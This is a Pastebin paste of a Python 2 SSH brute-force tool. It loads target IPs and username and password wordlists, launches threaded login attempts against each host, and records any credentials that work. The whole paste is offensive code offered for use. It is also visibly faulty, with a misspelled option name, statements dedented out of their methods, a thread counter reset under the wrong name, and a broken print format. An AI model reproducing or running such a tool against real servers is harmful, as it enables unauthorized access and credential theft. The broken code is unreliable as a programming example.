Guest User

Untitled

a guest
Oct 30th, 2017
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.70 KB | None | 0 0
  1. '''
  2. Created on Aug 25, 2011
  3.  
  4. @author: Gand0lf
  5. '''
  6.  
  7. import sys
  8. from optparse import OptionParser
  9.  
  10. #Import the Util Class
  11. import Util
  12. #Import the connection class
  13. from Connection import Connection
  14.  
  15. class SSHBruteForce():
  16.  
  17.     def __init__(self):
  18.         self.info = "Simple SSH Brute Forcer: By Gand0lf"
  19.         self.targetIp = ""
  20.         self.targetPort = 0
  21.         self.targets = []
  22.         self.usernames = []
  23.         self.passwords = []
  24.         self.connections = []
  25.         self.amountOfThreads = 0
  26.         self.currentThreadCount = 0
  27.         self.timeoutTime = 0
  28.         self.outputFileName = ""
  29.         self.singleMode = False
  30.         self.verbose = False
  31.        
  32.     def startUp(self):
  33.         usage = '%s [-i targetIp] [-U usernamesFile] [-P passwordsFile]' % sys.argv[0]
  34.        
  35.         optionParser = OptionParser(version = self.info, usage = usage)
  36.  
  37.         optionParser.add_option('-i', dest = 'targetIp',
  38.                                 help = 'Ip to attack')
  39.         optionParser.add_option('-p', dest = 'targetPort',
  40.                                 help = 'Ip port to attack', default = 22)
  41.         optionParser.add_option('-I', dest = 'targetsFile',
  42.                                 help = 'List of IP\'s and ports')
  43.         optionParser.add_option('-U', dest = 'usernamesFile',
  44.                                 help = 'Username List file')
  45.         optionParser.add_option('-P', dest = 'passwordsFile',
  46.                                 help = 'Password List file')
  47.         optionParser.add_option('-t', type = 'int', dest = 'threads',
  48.                                 help = 'Amount of Threads', default = 10)
  49.         optionParser.add_option('-T', type = 'int', dest = 'timeout',
  50.                                 help = 'Timeout Time', default = 15)
  51.         optionParser.add_option('-O', dest = "outputFile",
  52.                                 help = 'Output File Name')
  53.         optionParser.add_option('-v', '--verbose', action='store_true',
  54.                                 dest='verbose', help='verbose')
  55.  
  56.         (options, args) = optionParser.parse_args()
  57.  
  58.         #First a check is used to see if there is at least a singleIp set or a targetList set
  59.         if not options.targetIp and not options.targetsFile:
  60.             optionParser.print_help()
  61.             sys.exit(1)
  62.            
  63.         else:
  64.             #Then another check to make sure the Username list and passwordlist are filled
  65.             if options.usernamesFile and options.passwordsFile:
  66.                 #Then we check if it is a single ip only
  67.                 if options.targetIp and not options.targetsFile:
  68.                     self.singleTarget(options)
  69.                     self.singleMode = True
  70.                 elif not options.targetIp and options.targetsFilet:
  71.                     self.multipleTargets(options)
  72.                 else:
  73.                     optionParser.print_help()
  74.                     sys.exit(1)
  75.             else:
  76.                 optionParser.print_help()
  77.                 sys.exit(1)
  78.            
  79.     def singleTarget(self,options):
  80.             self.targetIp = options.targetIp
  81.             self.targetPort = options.targetPort
  82.             self.usernames = Util.fileContentsToList(options.usernamesFile)
  83.             self.passwords = Util.fileContentsToList(options.passwordsFile)
  84.             self.amountOfThreads = options.threads
  85.             self.timeoutTime = options.timeout
  86.             self.outputFileName = options.outputFile
  87.             self.verbose = options.verbose
  88.             self.showStartInfo()
  89.             self.bruteForceSingle()
  90.  
  91.     def multipleTargets(self,options):
  92.             self.targets = Util.fileContentsToTuple(options.targetsFile)
  93.             self.usernames = Util.fileContentsToList(options.usernamesFile)
  94.             self.passwords = Util.fileContentsToList(options.passwordsFile)
  95.             self.amountOfThreads = options.threads
  96.             self.timeoutTime = options.timeout
  97.             self.outputFileName = options.outputFile
  98.             self.verbose = options.verbose
  99.             self.showStartInfo()
  100.             self.bruteForceMultiple()
  101.        
  102.     def showStartInfo(self):
  103.         print "[*] %s " % self.info
  104.         if self.singleMode:
  105.             print "[*] Brute Forcing %s " % self.targetIp
  106.         else:
  107.             print "[*] Loaded %s Targets " % str(len(self.targets))
  108.         print "[*] Loaded %s Usernames " % str(len(self.usernames))
  109.         print "[*] Loaded %s Passwords " % str(len(self.passwords))
  110.         print "[*] Brute Force Starting "
  111.        
  112.         if self.outputFileName != "":
  113.             Util.appendLineToFile("%s " % self.info, self.outputFileName)
  114.             if self.singleMode:
  115.                 Util.appendLineToFile("Brute Forcing %s " % self.targetIp, self.outputFileName)
  116.             else:
  117.                 Util.appendLineToFile("Loaded %s Targets " % str(len(self.targets)), self.outputFileName)
  118.             Util.appendLineToFile("Loaded %s Usernames " % str(len(self.usernames)), self.outputFileName)
  119.             Util.appendLineToFile("Loaded %s Passwords " % str(len(self.passwords)), self.outputFileName)
  120.             Util.appendLineToFile("Brute Force Starting ", self.outputFileName)
  121.  
  122.     def bruteForceSingle(self):
  123.         for username in self.usernames:
  124.             for password in self.passwords:
  125.                 self.createConnection(username, password, self.targetIp,
  126.                                       self.targetPort, self.timeoutTime)
  127.                 if self.currentThreadCount == self.amountOfThreads:
  128.                     self.currentThreadResults()
  129. self.currentThreadResults()
  130. self.completed()
  131.                    
  132.     def bruteForceMultiple(self):
  133.         for target in self.targets:
  134.             for username in self.usernames:
  135.                 for password in self.passwords:
  136.                     self.createConnection(username, password, target[0],
  137.                                           int(target[1]), self.timeoutTime)
  138.                     if self.currentThreadCount == self.amountOfThreads:
  139.                         self.currentThreadResults()
  140. self.currentThreadResults()
  141. self.completed()
  142.        
  143.     def createConnection(self, username, password, targetIp, targetPort, timeoutTime):
  144.         connection = Connection(username, password, targetIp, targetPort, timeoutTime)
  145.         connection.start()
  146.         self.connections.append(connection)
  147.         self.currentThreadCount += 1
  148.         if self.verbose:
  149.             print "[*] Adding Target: %s, Testing with username: %s, testing with password: %s" % targetIp, username, password
  150.        
  151.     def currentThreadResults(self):
  152.         for connection in self.connections:
  153.             connection.join()
  154.             if connection.status == 'Succeeded':
  155.                 print "[#] TargetIp: %s " % connection.targetIp
  156.                 print "[#] Username: %s " % connection.username
  157.                 print "[#] Password: %s " % connection.password
  158.                
  159.                 if self.outputFileName != "":
  160.                     Util.appendLineToFile("TargetIp: %s " % connection.targetIp, self.outputFileName)
  161.                     Util.appendLineToFile("Username: %s " % connection.username, self.outputFileName)
  162.                     Util.appendLineToFile("Password: %s " % connection.password, self.outputFileName)
  163.                    
  164.                 if self.singleMode:
  165.                     self.completed()
  166.             else:
  167.                 pass
  168.    
  169.         self.clearOldThreads()
  170.  
  171.     def clearOldThreads(self):
  172.         self.connections = []
  173.         self.threadCount = 0
  174.    
  175.     def completed(self):
  176.         print "[*] Completed Brute Force."
  177.         sys.exit(0)
  178.        
  179. if __name__ == '__main__':
  180.     sshBruteForce = SSHBruteForce()
  181.     sshBruteForce.startUp()
Add Comment
Please, Sign In to add comment